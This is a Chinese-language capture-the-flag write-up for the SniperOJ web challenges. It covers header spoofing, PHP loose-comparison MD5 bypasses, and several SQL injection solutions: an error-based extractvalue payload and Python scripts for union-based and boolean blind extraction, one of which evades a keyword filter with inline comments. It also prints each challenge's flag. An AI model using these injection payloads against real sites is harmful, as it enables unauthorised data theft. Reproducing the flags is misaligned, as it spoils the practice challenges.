好歹是认识的人,推荐一下题目平台地址:http://www.sniperoj.cn/
web
SniperOJ-Web-Browser
首先打开,需要用他特地的浏览器浏览
简单,抓包修改
进行下一关,需要本地访问
利用Modify Headers设置访问
进行下一关,需要特定端口
麻烦,直接curl命令
flag:SniperOJ{hyper_t3xt_tran5fer_pr0t0cOl}
md5-vs-injection
额,貌似那么熟悉,发现hint
直接百度,得到一个博客
直接输入字符串**得到**flag
flag:SniperOJ{md5_V5_injection}
php-weak-type
提示
看来有备份,index.php~
顺势找到代码
<?php
$flag = 'SniperOJ{********************}';
if(isset($_POST['password'])){
$current_password = "QNKCDZO";
$password = $_POST['password'];
if (($current_password != $password)){
$current_password_md5 = md5($current_password);
$password_md5 = md5($password);
if($current_password_md5 == $password_md5){
echo '<script>alert("You know php well!")</script>';
echo $flag;
}else{
echo('<script>alert("Your password is wrong!")</script>');
}
}else{
echo('<script>alert("Your password is wrong!")</script>');
}
}else{
echo('<script>alert("Input your password!")</script>');
}
?>
直接就是个弱类型比较,随便输入个s878926199a
得到flagSniperOJ{pHp_is_the_best_programming_language_in_the_world}
as fast as you can
就是读取,然后构造发送,要保证session一致,要不然会变
脚本
import requests
import base64
url = 'http://web.sniperoj.cn:10003/index.php'
cookie={
'PHPSESSID':'5jvgjihbnreaep98v606e4hhs6'
}
req=requests.get(url,cookies=cookie)
#print req.text
key=req.headers['Get-flag']
key=base64.b64decode(key)
#print key
data={'SniperOJ':key}
r=requests.post(url,data=data,cookies=cookie) 22413778
print r.text
very-hard-injection
打开,无语,啥提示也没有,也不知道干嘛
随便试试吧。。。
总算是出来东西啦,还得猜table=users
总算是猜对啦,开始尝试是什么注入
发现'
被转义,用宽字节不管用,那就只能试试报错
有戏,学习
http://blog.csdn.net/ysynhtt/article/details/45115849
构造
结果重名?!
修改方法
http://web2.sniperoj.cn:10003/?table=users` join (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))a)b on b.a=`username
成功!表名flagggggg
列名flag
flag
inject-again
这个让你输入用户名密码
听dalao提示是基于union的盲注
得到用户名就是admin
学习地址:http://wonderkun.cc/index.html/?cat=1&paged=3
盲注脚本
#!/usr/bin/python
# coding:utf-8
import requests
def makeStr(begin,end):
str=""
for i in range(begin,end):
str+=chr(i)
return str
def getPassword():
url="http://web2.sniperoj.cn:10004/index.php?username="
testStr = makeStr(48,127)
#print testStr
username = "admin' union distinct select 1,2,0x{hex} order by 3 desc%23&password=1"
flag = ""
for _ in range(32):
for i in testStr:
data = username.format(hex=(flag+i).encode('hex'))
#print data
res = requests.post(url+data)
if "admin" not in res.text:
flag= flag+chr(ord(i)-1)
print flag
break
if __name__== '__main__':
getPassword()
解密即flag
图书管理系统
这题打开只有三个框,一个还是摆设,那就随便尝试注册一个账号密码,然后再登陆一下,发现没什么区别
这是登陆成功
随便构造个语句测试一下
发现如果利用or
的话,后面是false
会显示正确,true
的话会显示密码错误,这样就可以根据返回进行盲注
当然了,他肯定过滤了,但每次测试总感觉过滤的字符在改变,不过后来还是确定了是from
,这样的话只能用内联注释,毕竟其他也不知道如何绕过,/*!*/
只有MySQL能识别
首先为了测试还是利用burpsuite暴力一下,语句构造成功
直接上脚本
import requests
dic='#123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM_{}'
flag = ''
for i in range(1,40):
for j in dic:
url = 'http://www.sniperoj.cn:10000/src/API/login.php'
#con = "1d' or ascii(substr((select database()),{},1))={}#".format(i,ord(j))
#con = "1d' or ascii(substr((select group_concat(table_name) /*!from*/ information_schema.tables where table_schema=database()),{},1))={}#".format(i,ord(j))
#con = "1d' or ascii(substr((select group_concat(column_name) /*!from*/ information_schema.columns where table_name=0x666c34343467),{},1))={}#".format(i,ord(j))
con = "1d' or ascii(substr((select f1ag /*!from*/ fl444g),{},1))={}#".format(i,ord(j))
#print con
data = {'username': con,
'password':'1d',
'submit':'%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2'}
#print data
s=requests.post(url=url,data=data)
length = len(s.text)
#print length
if length == 28:
flag += j
print flag
break
print flag
#software
#booksfl444grecordsusers
#fl444g
#f1ag